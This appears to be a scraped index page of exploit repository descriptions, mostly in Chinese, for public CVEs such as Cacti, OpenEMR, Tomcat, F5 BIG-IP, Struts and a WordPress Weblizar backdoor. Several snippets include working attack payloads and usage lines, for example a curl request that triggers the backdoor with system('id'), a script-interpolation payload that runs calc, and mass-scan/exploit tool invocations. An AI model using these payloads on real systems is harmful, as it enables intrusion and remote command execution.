burpcommander

burpcommander Ruby 命令行界面，用于 Burp Suite 的 REST API 用法 burpcommander 版本：1.0.1 - 更新日期：08/29/2018 -t, --target IP 地址 默认为 127.0.0.1 -p, --port 端口号 默认为 1337 -k, --key API 密钥 如果你需要 API 密钥，请在此指定 -i, --issue-type-id 字符串 要搜索的字符串。示例："1048832" -n, --issue-name 字符串 要搜索的字符串。示例："Command Injection" -D,...

CVE-2024-29895

CVE-2024-29895 Cacti CVE-2024-29895 概念验证 一个命令注入漏洞，当PHP的registerargcargv选项开启时，允许任何未经认证的用户在服务器上执行任意命令。 https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m 用法：app -m http://site.com/ -c whoami 或者：app -w urllist.txt -c whoami 或者：app -r 192.168.1.0/24 -c whoami...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 漏洞利用程序 OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the shell to be uploaded Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...

Ivanti-Connect-Around-Scan

Comprobador de Vulnerabilidad Ivanti Connect Around Comprobador de Vulnerabilidad Ivanti Connect Around Resumen Características Tipos de Comprobaciones WEB ACCESS SYSTEM INFO BYPASS DETECTED Explicación de los Tipos de Estado Primeros Pasos Requisitos Uso Argumentos Especificación del Objetivo...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar 后门 curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2025-24813-PoC-exploit

CVE-2025-24813-PoC-exploit Apache Tomcat 反序列化远程代码执行 ❯ python3 exploit.py http://localhost:8080/ "id" ============================================================ CVE-2025-24813 - Apache Tomcat Partial PUT RCE ============================================================ Target: http://localhost:80...

CVE-2025-13834-A-Bluetooth-RFCOMM-Out-of-Bounds-Read-Vulnerability-in-Modern-Wireless-Devices

= doi.org/10.5281/zenodo.18323302 = orcid.org/0009-0007-7728-256X README.md：CVE-2025-13834 RFCOMM 蓝牙“心血”漏洞利用框架 作者： Sastra Adi Wiguna（紫色精英团队） 日期： 2026年1月20日 版本： 1.0（全系统复现） 许可证： 仅供红队使用 （未经授权不得分发） 🔴 执行摘要 CVE-2025-13834 是 RFCOMM 蓝牙协议栈中的一个关键内存泄露漏洞 ，类似于 Heartbleed（CVE-2014-0160） ，但影响 28 亿台支持蓝牙的设备...

CVE-2018-17431-Comodo

CVE-2018-17431-PoC Prueba de concepto para CVE-2018-17431 Título del Exploit: Comodo Firewall & Central Manager UTM todas las versiones anteriores a 2.7.0 y 1.5.0 Ejecución remota de comandos basado en Web Shell Autor del Exploit: Milad Fadavvi Página del proveedor: https://www.comodo.com/ Enlace...

CVE-2022-33980-POC

CVE-2022-33980 $script:js:java.lang.Runtime.getRuntime.exec"calc"...

CVE-2023-31702

CVE-2023-31702 — eScan 管理控制台 SQL 注入（需认证） 概述 CVE-2023-31702 是发现于 MicroWorld Technologies eScan 管理控制台 14.0.1400.2281 版本中的一个经过身份验证的 SQL 注入漏洞。该漏洞存在于 GetUserCurrentPwd 端点中，UsrId 参数未经适当的清理或参数化，直接被传入 SQL 查询。经过身份验证的攻击者可以利用此漏洞执行 基于时间的盲 SQL 注入 ，提取整个后端数据库，并最终在底层 Microsoft SQL Server 上获得 交互式操作系统命令 shell...

CVE-2019-25065-exploit

CVE-2019-25065 - POC 这是 CVE-2019-25065 的 POC - OpenNetAdmin v18.1.1 中的 OS 命令注入。 该漏洞利用脚本使用 bash 编写，支持 Linux 环境。 已在 Kali Linux 2024.4 和 Ubuntu 22.04.5 LTS 上进行测试。 依赖项：gridsite-clients Debian 软件包...

CVE-2017-10271

CVE-2017-10271 用法: python CVE-2017-10271.py url...

CVE-2011-0762

CVE-2011-0762 Exploit Exploit en C para la vulnerabilidad CVE-2011-0762 en servidores FTP que permite el envío de un comando STAT con una carga útil maliciosa para causar posibles fallos o ejecución no deseada. Descripción Este exploit se conecta a un servidor FTP y autentica usando un usuario y...

GitLab-CVE-2021-22205-

漏洞影响 在GitLab CE/EE中发现了一个问题，影响所有从11.9版本开始的版本。GitLab未能正确验证传递给文件解析器的图像文件，导致了远程命令执行。 受影响版本 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 漏洞影响 即将... 参考 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205 https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html...

CVE-2024-9264

CVE-2024-9264 python CVE-2024-9264.py '' -u '' -p '' -c ''...

CVE-2025-26055

CVE-2025-26055 CVE 描述 作者：Rohan Deshpande 操作系统命令注入 摘要 操作系统命令注入是一种安全漏洞，攻击者能够通过易受攻击的应用程序在宿主操作系统上执行任意命令。这可能导致未授权访问、数据泄露和系统受损。 影响 操作系统命令注入的影响包括：未授权访问系统资源、数据窃取、系统受损，以及可能完全控制受影响服务器，从而导致严重的安全漏洞和运营中断。 受影响 URL http://:/generateTrackRoute 建议 为了缓解操作系统命令注入漏洞，应对所有用户输入进行验证和清理，使用参数化命令或...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack 这些只是一些脚本，你可以用它们来检测和利用 Apache Struts 漏洞（CVE-2017-5638） 有一个MassScanner和一个Exploiter，你可以使用扫描器批量扫描一组URL，然后通过Exploiter进行利用。 Exploiter会在易受攻击的服务器上运行任意shell命令。...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 的检测与利用 安装： python3 -m pip install -r requirements.txt 使用方法 单个： python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 批量： python3 cve.py m host list endpoint apicommand pool example...

CVE-2023-27997-POC

Uso: python3 cve-2022-42475.py rhost rport lhost 'command' Ejemplo: python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' Descargo de responsabilidad: Este proyecto se ha creado únicamente con fines educativos y de pruebas éticas. El uso de esta herramienta para atacar objetivos sin...

cve-2024-10914-port

CVE-2024-10914 移植到 Rust 和 Python 因为为什么不呢 这是什么 CVE-2024-10914 是最近发现的一个影响某些 D-Link 路由器的 9.8 分严重漏洞。由于这些路由器已达到生命周期终止 EOL 支持，D-Link 拒绝修补此漏洞，理由就是“别穷了，买个新路由器吧”。 工作原理 受影响的设备暴露了一个 HTTP 端点，通常在 /cgi-bin/accountmgr.cgi?cmd=cgiuseradd&name=...